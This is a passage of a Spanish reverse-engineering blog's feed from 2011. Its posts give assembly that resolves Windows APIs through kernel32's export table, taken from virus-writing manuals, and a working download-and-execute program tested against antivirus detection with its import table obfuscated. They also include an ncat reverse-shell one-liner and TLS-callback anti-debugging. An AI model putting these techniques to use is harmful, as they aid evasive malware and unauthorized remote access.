muy complejo.&lt;/div&gt;&lt;/blockquote&gt;&lt;div align="justify"&gt;Muchas gracias por estos documentos!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-2696371819232935097?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/2696371819232935097/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/05/cargando-funciones-importadas.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2696371819232935097'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2696371819232935097'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/05/cargando-funciones-importadas.html' title='Cargando funciones importadas manualmente'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-9039621741239746632</id><published>2011-05-15T22:11:00.001+02:00</published><updated>2011-05-15T22:11:26.730+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Ejemplo de uso de TLS Callbacks Funtions</title><content type='html'>&lt;p align="justify"&gt;&lt;a href="https://twitter.com/#!/the_swash"&gt;@The_Swash&lt;/a&gt; me ha enviado &lt;a href="http://www.multiupload.com/3LPRD2F4HY"&gt;este documento&lt;/a&gt; que ha redactado él explicado el uso de Thread Local Storage Callbacks Functions para ejecutar código antes de la propia ejecución del programa en el Entry Point. &lt;/p&gt; &lt;p align="justify"&gt;Con esto se puede conseguir que por ejemplo cuando se abra un exe con OllyDbg antes de que pare en el EP se ejecute código que detecte que el ejecutable esta siendo depurado y modifique parte del código del ejecutable para engañar a quien intente realizarle ingeniería inversa. Esto es usado desde hace tiempo en el malware, protectores de ejecutables, packers, etc…&lt;/p&gt; &lt;p align="justify"&gt;Es posible configurar OllyDbg para que se detenga antes del EntryPoint y evitar que se ejecute este código. Para ello hay que ir a &lt;em&gt;Options&amp;gt;Debugging Options&amp;gt;Make first pause at&lt;/em&gt; y seleccionar &lt;em&gt;System breakPoint&lt;/em&gt;.&lt;/p&gt; &lt;p align="justify"&gt;Gracias por el documento &lt;a href="https://twitter.com/#!/the_swash"&gt;@The_Swash&lt;/a&gt;!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-9039621741239746632?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/9039621741239746632/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/05/ejemplo-de-uso-de-tls-callbacks.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/9039621741239746632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/9039621741239746632'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/05/ejemplo-de-uso-de-tls-callbacks.html' title='Ejemplo de uso de TLS Callbacks Funtions'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-7144410500269301420</id><published>2011-05-07T19:30:00.002+02:00</published><updated>2011-05-07T19:42:08.740+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Usando GetProcAddress y LoadLibrary para localizar APIs 2/2</title><content type='html'>&lt;p align="justify"&gt;En la anterior entrada vimos la necesidad de utilizar las funciones GetModuleHandle y GetProcAddress para invocar a otras funciones de Windows. &lt;/p&gt; &lt;p align="justify"&gt;No hay que olvidar que el objetivo de todo esto es poder añadir código a un ejecutable ya compilado el que seguramente no use las funciones que nosotros necesitamos.&lt;/p&gt; &lt;p align="justify"&gt;Lo primero a tener en cuenta es que la función GetModuleHandle en realidad devuelve la dirección de memoria donde está cargada una DLL. La dirección donde se carga Kernel32.dll no siempre es la misma así que necesitamos buscar donde ha cargado Windows la librería.&lt;/p&gt; &lt;p align="justify"&gt;Una de las formas de hacer esto la encontré en los manuales de programación de Virus de ZeroPad que podéis encontrar en el grupo de google de &lt;a href="http://groups.google.com/group/sector-virus"&gt;SectorVirus&lt;/a&gt;.&lt;/p&gt;
&lt;pre class="brush: cpp"&gt;
;Obtiene la dirección base de Kernel32
ObtenerKernel32 proc
 mov eax, dword ptr [esp+0Ch];Nos quedamos con la dirección de retorno hacia la funcion createprocess
 and eax, 0FFFFF000h   ;Paginas de 1000h
searchMZ: 
 sub eax, 1000h
 cmp word ptr[eax], "ZM"
 jnz searchMZ
 ret
 
ObtenerKernel32 endp
&lt;/pre&gt;

&lt;p align="justify"&gt;El código lo que hace es tener en cuenta que el loader de Windows cuando carga un ejecutable con la función CreateProcess se deja en la cima de la pila el valor de retorno a la función CreateProcess. Y como esta función está en Kernel32.dll ya tenemos una dirección de memoria de kernel32, a continuación va restando de 1000h en 1000h hasta encontrar el inicio de la DLL, los caracteres “MZ”. Este método lo he probado en Windows XP e Windows 7. Desconozco si en versiones viejas funciona o no. &lt;/p&gt; &lt;p align="justify"&gt;Otra opción para encontrar la dirección donde se ha cargado Kernel32.dll es recorrer ciertas estructuras del PEB, pero la cosa ya se complica. En otra entrada se vera un método mas genérico.&lt;/p&gt; &lt;p align="justify"&gt;Una vez hallado el inicio de kernel32 lo siguiente es localizar la tabla de funciones exportadas, ExportTable, accediendo a la tabla de directorios, PE+78h. Sabiendo donde está la ExportTable, se accede al campo ExportNameTable, ET+20h, donde están los nombres de todas las funciones exportadas y vamos comparando los nombres con la función que buscamos. Una vez localizado recordamos la posición donde lo hemos encontrado y mediante la tabla Export Ordinal Table obtenemos el índice para ya por fin acceder a la tabla Export Address Table que contiene la dirección de la función que tanto a costado conseguir jeje.&lt;/p&gt; &lt;p align="justify"&gt;Lo he explicado muy resumidamente, en el capítulo 7 de SectorVirus que &lt;a href="http://www.multiupload.com/FV66YGU0P2"&gt;cuelgo aquí&lt;/a&gt; está explicado con todo detalle la estructura de la ExportTable y como recorrerla para encontrar una determinada función.&lt;/p&gt; &lt;p align="justify"&gt;A continuación dejo la función en ensamblador que hace esto. Necesita saber la dirección de kernel32 hallada anteriormente.&lt;/p&gt;
&lt;pre class="brush: cpp"&gt;
.data
Kernel32Dir dd 0
PEHeader  dd 0
ET    dd 0
PosicionEAT dw 0
Contador dd -1
FuncionBuscada db "GetProcAddress",0
FuncionBuscadaLen dd 0Eh

.code
ObtenerGPA proc
 mov eax, [Kernel32Dir]
 add eax, [eax+3Ch]    ;Obtenermos el inicio del PE
 mov [PEHeader], eax
 add eax, 78h     ;RVA de la export table
 mov eax, [eax]
 add eax, [Kernel32Dir] ;Pasamos de dirección relativa virtual, RVA, a dirección virtual
 mov [ET], eax    ;Guardamos el valor
 add eax, 20h    ;Nos situamos en la ExportNameTable, ET+20h
 mov eax, [eax]
 add eax, [Kernel32Dir]  ;RVA-&gt;VA
bucle:       ;Bucle para comprobar si es la función GetProcAddress
 inc [Contador]    ;Para saber en que posicion está la funcion
 mov ebx, [eax]    ;Direcion del nombre de la funcion buscada
 add ebx, [Kernel32Dir]  ;RVA-&gt;VA
 mov esi, ebx
 add eax, 4      ;Siguiente nombre
 lea edi, [FuncionBuscada]
 mov ecx, [FuncionBuscadaLen]
 repe cmpsb      ;Compara esi y edi, con una longitud de ecx
 jnz bucle
 ;Se mira en la tabla de ordinales para saber en que posición esta la funcion en la tabla de funciones
 mov ecx, [ET]
 mov ecx, [ecx+24h]    ;EOT
 add ecx, [Kernel32Dir]
 mov eax, [Contador]
 add eax, eax     ;eax=eax*2
 add ecx, eax
 mov ax, word ptr [ecx]
 mov [PosicionEAT], ax
 ;Por ultimo se accede a la posicion de la EAT para hallar la direccion de la funcion
 mov eax, [ET]
 mov eax, [eax+1Ch]
 add eax, [Kernel32Dir]
 mov ebx, [Contador]
 rol ebx, 2      ;Contador*4
 add eax, ebx
 mov eax, [eax]
 add eax, [Kernel32Dir]  ;Retornamos en eax la dirección de la función
 ret

ObtenerGPA endp
&lt;/pre&gt;
El código está mucho mejor documentado en el capítulo de SectorVirus que he mencionado antes.

Con esto ya podríamos llamar a GetProcAddress y obtener las direcciones de las funciones que nos hagan falta.

Un saludo!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-7144410500269301420?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/7144410500269301420/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/05/usando-getprocaddress-y-loadlibrary_07.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7144410500269301420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7144410500269301420'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/05/usando-getprocaddress-y-loadlibrary_07.html' title='Usando GetProcAddress y LoadLibrary para localizar APIs 2/2'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-8597011992050696319</id><published>2011-05-01T14:44:00.002+02:00</published><updated>2011-05-01T14:56:53.114+02:00</updated><title type='text'>Usando GetProcAddress y LoadLibrary para localizar APIs 1/2</title><content type='html'>&lt;p align="justify"&gt;En las dos entradas que escribí sobre añadir código portable a un ejecutable:&lt;br&gt;&lt;a title="http://el-blog-de-thor.blogspot.com/2011/02/anadir-codigo-portable-un-ejecutable-12.html" href="http://el-blog-de-thor.blogspot.com/2011/02/anadir-codigo-portable-un-ejecutable-12.html"&gt;http://el-blog-de-thor.blogspot.com/2011/02/anadir-codigo-portable-un-ejecutable-12.html&lt;/a&gt;&lt;br&gt;&lt;a title="http://el-blog-de-thor.blogspot.com/2011/03/anadir-codigo-portable-un-ejecutable-22.html" href="http://el-blog-de-thor.blogspot.com/2011/03/anadir-codigo-portable-un-ejecutable-22.html"&gt;http://el-blog-de-thor.blogspot.com/2011/03/anadir-codigo-portable-un-ejecutable-22.html&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;Hice trampas o mas bien me facilite mucho la situación. Ya que me servía de que la API que iba a usar el código ya la importaba el ejecutable (MessageBoxW). Pero no siempre podemos confiar en tener esa suerte.&lt;/p&gt; &lt;p align="justify"&gt;Así que lo suyo es primero encontrar la dirección de la API que necesitamos y después usarla. Para tal tarea se utiliza la API &lt;a href="http://msdn.microsoft.com/en-us/library/ms683212(v=vs.85).aspx"&gt;GetProcAddress&lt;/a&gt;, que pasándole el handle de una dll (la dirección de memoria donde empieza la dll) y el nombre de la función buscada nos devuelve la dirección de la misma. Para obtener el handle de una DLL que ya tiene cargada el ejecutable se usa la funcion &lt;a href="http://msdn.microsoft.com/en-us/library/ms683199(v=vs.85).aspx"&gt;GetModuleHandle&lt;/a&gt;. Hay que tener en cuenta que el cargador de Windows cuando arranca un programa siempre carga las dlls Kernel32.dll y NtDll.dll aunque el programa no necesite ninguna API de las mismas.&lt;/p&gt; &lt;p align="justify"&gt;Esto se puede ver compilando un simple programa en ensamblador que solo tiene una instrucción nop y abriendolo con OllyDbg:&lt;/p&gt;
&lt;pre class="brush: cpp"&gt;
.386
.model flat, stdcall
option casemap:none

.code
codigo:
nop
end codigo
&lt;/pre&gt;
&lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/Tb1VtqIUtwI/AAAAAAAAAVY/v4se59uK4MM/s1600-h/image3.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/Tb1VuUwZuZI/AAAAAAAAAVc/2aBbPAlAFBM/image_thumb1.png?imgmax=800" width="464" height="217"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;Así que si la API que necesitamos está en las DLLs Kernel32.dll o NtDll.dll nos vale con usar la función GetModuleHandle y pasarle ese valor a GetProcAddress junto al nombre de la API buscada:&lt;/p&gt;
&lt;pre class="brush: cpp"&gt;
HMODULE h = GetModuleHandle("kernel32.dll");
GetProcAddress(h, "ExitProcess");
&lt;/pre&gt;
&lt;p align="justify"&gt;Si no deberemos usar la API &lt;a href="http://msdn.microsoft.com/en-us/library/ms684175(v=vs.85).aspx"&gt;LoadLibrary&lt;/a&gt; para cargar una DLL en la memoria del proceso. Por ejemplo para los anteriores entradas necesitábamos usar la API &lt;a href="http://msdn.microsoft.com/en-us/library/ms645505(v=vs.85).aspx"&gt;MessageBoxA&lt;/a&gt;. Mirando en MSDN sabemos que se encuentra en la DLL User32.dll.&lt;/p&gt; 
&lt;pre class="brush: cpp"&gt;
HMODULE h = LoadLibrary("User32.dll");
GetProcAddress(h, "MessageBoxA");
&lt;/pre&gt;
&lt;p align="justify"&gt;La función LoadLibrary a su vez la podemos localizar mediante el uso de GetProcAddress:&lt;/p&gt; 
&lt;pre class="brush: cpp"&gt;
HMODULE h = GetModuleHandle("kernel32.dll");
LoadLibraryF = (void*)GetProcAddress(h, "LoadLibrary");
h = LoadLibraryF("User32.dll");
GetProcAddress(h, "MessageBoxA");
&lt;/pre&gt;
&lt;p align="justify"&gt;&lt;/p&gt; &lt;p align="justify"&gt;Vemos que las 2 funciones imprescindibles para cargar el resto son GetModuleHandle y GetProcAddress. &lt;/p&gt; &lt;p align="justify"&gt;Pero fijaos en un problema, si un programa no importa las funciones GetModuleHandle y GetProcAddress no sabemos en que dirección están y por lo tanto no podemos encontrar otras APIs. Nos encontramos en un bucle, para saber la dirección de GetProcAddress necesitamos utilizar GetProcAddress y es lo que no sabemos.&lt;/p&gt; &lt;p align="justify"&gt;En la siguiente entrada veremos como se soluciona esto.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-8597011992050696319?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/8597011992050696319/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/05/usando-getprocaddress-y-loadlibrary.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/8597011992050696319'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/8597011992050696319'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/05/usando-getprocaddress-y-loadlibrary.html' title='Usando GetProcAddress y LoadLibrary para localizar APIs 1/2'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_FGFE7zLOsQk/Tb1VuUwZuZI/AAAAAAAAAVc/2aBbPAlAFBM/s72-c/image_thumb1.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-5724909043966298243</id><published>2011-04-19T02:30:00.001+02:00</published><updated>2011-04-19T02:30:10.889+02:00</updated><title type='text'>Cómo habilitar escritorio remoto a ciegas</title><content type='html'>&lt;p align="justify"&gt;La tarjeta gráfica de mi portátil ha muerto. Ya mostraba algunos síntomas, pantallazos negro, fallos del driver, rayas, todo debido al calor y mira que limpie el ventilador, pero ya era demasiado tarde. De modo que tengo un portátil funcionando pero en el que no veo nada de lo que pasa.&lt;/p&gt;  &lt;p align="justify"&gt;Por suerte tengo un netbook para ver pelis y tal… Está bien pero a la hora de ejecutar máquinas virtuales y demás va un poco lento.&lt;/p&gt;  &lt;p align="justify"&gt;Así que pensé en usar el netbook como “equipo tonto” que no tiene nada instalado y que se conecta por escritorio remoto al portátil bueno.&lt;/p&gt;  &lt;p align="justify"&gt;El problema es que cuando la tarjeta murió no tenía habilitado el escritorio remoto. Así que tenía que activarlo a ciegas. La solución que se me ocurrió fue ver que proceso seguía en un Windows 7 para habilitar el escritorio remoto usando solamente el teclado y repetirlo sin confundirme en el portátil sin gráfica.&lt;/p&gt;  &lt;p align="justify"&gt;La combinación mágica es la siguiente:   &lt;br /&gt;Pulsar tecla de windows, escribir “permitir el” (si está en español), esperar unos segundos, pulsar enter, pulsar 3 veces tab, tecla abajo, tab, enter, pulsar 5 veces tab y por último 2 veces enter.&lt;/p&gt;  &lt;p align="justify"&gt;Así habremos habilitado el escritorio remoto en nuestro equipo. Siempre y cuando no se tenga firewall activado.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TazXj9RgSqI/AAAAAAAAAVQ/ax4Dhw-ROFE/s1600-h/image%5B4%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TazXkntCWwI/AAAAAAAAAVU/Zxtq8NnyyGY/image_thumb%5B2%5D.png?imgmax=800" width="337" height="402" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Otra opción hubiese sido sacar el disco duro, conectarlo a otro equipo, meter en una carpeta ncat, iniciar el equipo y a ciegas ejecutar cmd.exe y el comando necesario para que ncat nos de una shell a otro equipo: &lt;em&gt;ncat x.x.x.x port –e cmd.&lt;/em&gt; Y desde la consola habilitar el escritorio remoto modificando este valor del registro usando el comando reg:    &lt;br /&gt;&lt;em&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections: 0&lt;/em&gt;&amp;#160;&lt;/p&gt;  &lt;p align="justify"&gt;O instalar alguna herramienta de administración remota, siempre que no necesite ningún tipo de interacción gráfica para la instalación (casi todas). O sino ya instalar un troyano que permita administrar el escritorio.&lt;/p&gt;  &lt;p align="justify"&gt;Tendré que acostumbrarme a este mini teclado…&lt;/p&gt;  &lt;p align="justify"&gt;Saludos!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-5724909043966298243?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/5724909043966298243/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/04/como-habilitar-escritorio-remoto-ciegas.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5724909043966298243'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5724909043966298243'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/04/como-habilitar-escritorio-remoto-ciegas.html' title='Cómo habilitar escritorio remoto a ciegas'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_FGFE7zLOsQk/TazXkntCWwI/AAAAAAAAAVU/Zxtq8NnyyGY/s72-c/image_thumb%5B2%5D.png?imgmax=800' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-3939449586848485757</id><published>2011-04-14T12:42:00.001+02:00</published><updated>2011-04-14T12:42:41.868+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Con la IT ofuscada MalwareAnalyzer falla</title><content type='html'>&lt;p align="justify"&gt;Mirando los RSS he llegado a este post de hacktimes, &lt;a href="http://www.hacktimes.com/an_lisis_de_malware"&gt;Análisis de Malware – MalwareAnalyzer&lt;/a&gt;, no conocía MalwareAnalyzer, parece bastante útil. Así que probe con el &lt;a href="http://el-blog-de-thor.blogspot.com/2011/04/ofuscacion-de-la-it-consecuencias.html"&gt;Downloader que comente en la anterior entrada&lt;/a&gt; con la IT ofuscada y boom, ha petado:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TabPngzDIiI/AAAAAAAAAVI/OW2Ay9QBBbQ/s1600-h/image%5B3%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/TabPoLPnHzI/AAAAAAAAAVM/8ophd8mkI9s/image_thumb%5B1%5D.png?imgmax=800" width="461" height="82" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Ups!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-3939449586848485757?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/3939449586848485757/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/04/con-la-it-ofuscada-malwareanalyzer.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3939449586848485757'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3939449586848485757'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/04/con-la-it-ofuscada-malwareanalyzer.html' title='Con la IT ofuscada MalwareAnalyzer falla'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_FGFE7zLOsQk/TabPoLPnHzI/AAAAAAAAAVM/8ophd8mkI9s/s72-c/image_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-5715837885698186909</id><published>2011-04-13T18:19:00.003+02:00</published><updated>2011-04-13T18:22:03.149+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Ofuscación de la IT, consecuencias</title><content type='html'>&lt;p align="justify"&gt;Ya adelanto que parece que “ofuscar” la IT no es demasiado útil para saltarse las heurísticas, mi gozo en un pozo :( Pero sigue siendo útil para confundir a algunos antivirus o herramientas(&lt;a href="http://www.google.it/url?sa=t&amp;amp;source=web&amp;amp;cd=1&amp;amp;ved=0CBMQFjAA&amp;amp;url=http%3A%2F%2Fwww.woodmann.com%2Fcollaborative%2Ftools%2Findex.php%2FLordPE&amp;amp;ei=ZMKlTZ67BoOVswbj37GzBg&amp;amp;usg=AFQjCNHx5LmukOwDUEUXf32oZ1tFIDhzSA"&gt;LordPE&lt;/a&gt;).&lt;/p&gt;  &lt;p align="justify"&gt;Para realizar las pruebas necesitamos un programa que supongamos que vaya a ser detectado por heurística, el mas típico y sencillo es un Downloader que haga uso primero de la API &lt;a href="http://msdn.microsoft.com/en-us/library/ms775123(v=vs.85).aspx"&gt;URLDownloadToFile&lt;/a&gt; para descargar un fichero desde una página web y después de la API &lt;a href="http://msdn.microsoft.com/en-us/library/bb762153(v=vs.85).aspx"&gt;ShellExecute&lt;/a&gt; para ejecutar el fichero descargado.&lt;/p&gt;  &lt;p align="justify"&gt;Supongo que un antivirus al ver que las 2 únicas API que se usan son esas dos tan sospechosas detectará el fichero como posible Downloader.&lt;/p&gt;  &lt;p align="justify"&gt;El código en ensamblador es sencillito:&lt;/p&gt;  
&lt;pre class="brush: cpp"&gt;
.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
include urlmon.inc
include shell32.inc

includelib kernel32.lib
includelib urlmon.lib
includelib shell32.lib

.data

urlcalc  db "http://sites.google.com/site/xyzthor/calc/calc.exi?attredirects=0&amp;d=1", 0 ;Calculadora de windwos
nombre   db "calc.exe", 0
action  db "open", 0

.code

codigo:

push 0
push 0
push offset nombre
push  offset urlcalc
push 0
call  URLDownloadToFile

push SW_SHOW
push  0
push  0
push  offset nombre
push  offset action
push 0
call ShellExecute
 
push 0
call  ExitProcess

end codigo
&lt;/pre&gt;
&lt;p align="justify"&gt;El código descarga la calculadora desde &lt;a title="http://sites.google.com/site/xyzthor/calc/calc.exi?attredirects=0&amp;amp;d=1" href="http://sites.google.com/site/xyzthor/calc/calc.exi?attredirects=0&amp;amp;d=1"&gt;http://sites.google.com/site/xyzthor/calc/calc.exi?attredirects=0&amp;amp;d=1&lt;/a&gt; y la ejecuta.&lt;/p&gt;  &lt;p align="justify"&gt;Os subo &lt;a href="http://www.multiupload.com/F0YI2TOJBL"&gt;aquí el ejecutable compilado&lt;/a&gt;.&lt;/p&gt;  &lt;p align="justify"&gt;Lo subimos a VirusTotal y &lt;a href="http://www.virustotal.com/file-scan/report.html?id=f8ce5dc2048b6170c8c5e84ec04e9a1c2a1a20c40bd476f3fcba302bcb402d36-1302708881"&gt;lo detectan 27/42 AVs&lt;/a&gt;. Algunos nombres son muy descriptivos: Heuristic.BehavesLike.Win32.Downloader.J&lt;/p&gt;  &lt;p align="justify"&gt;Ahora aplicamos la técnica de ofuscar la IT. Esta vez para hacerlo mas sencillo he añadido 2 secciones y he puesto la IT en medio. Subo &lt;a href="http://www.multiupload.com/EWO6QPSEFF"&gt;el ejecutable con la IT ofuscada&lt;/a&gt; por si queréis echarle un ojo.&lt;/p&gt;  &lt;p align="justify"&gt;Lo volvemos a subir a VT y &lt;a href="http://www.virustotal.com/file-scan/report.html?id=38b0d7b4525a2ca83a2ace9641889feaa78c9b116291f4cb79241d5ac6d515ed-1302710957"&gt;lo detectan 20/42&lt;/a&gt;. Algunos AVs no detectan esta muestra pero si la anterior y viceversa. Así que no es un a prueba muy concluyente, además no estoy seguro que lo detecten por heurística habría que probar los antivirus con la heurística desactivada y ver si detectan el ejecutable o no. A ver si sale pronto a la luz &lt;a href="http://www.indetectables.net/foro/viewtopic.php?f=7&amp;amp;t=6347"&gt;KIMS 2.0&lt;/a&gt; y puedo realizar algunas pruebas mas.&lt;/p&gt;  &lt;p align="justify"&gt;Algo curioso es que Microsoft Security Essentials si detecta el downloader original:  
&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TaXM_okQ-tI/AAAAAAAAAVA/4C5DczWQS90/s1600-h/image%5B3%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/TaXNAdcUzLI/AAAAAAAAAVE/39ezNGL4JmM/image_thumb%5B1%5D.png?imgmax=800" width="498" height="197" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Pero no detecta el ejecutable con la IT ofuscada, ¿no será capaz de leerla? ¿O influirán otras cosas?&lt;/p&gt;  &lt;p align="justify"&gt;Un saludo!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-5715837885698186909?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/5715837885698186909/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/04/ofuscacion-de-la-it-consecuencias.html#comment-form' title='6 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5715837885698186909'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5715837885698186909'/><link rel='alternate' type='text/html' 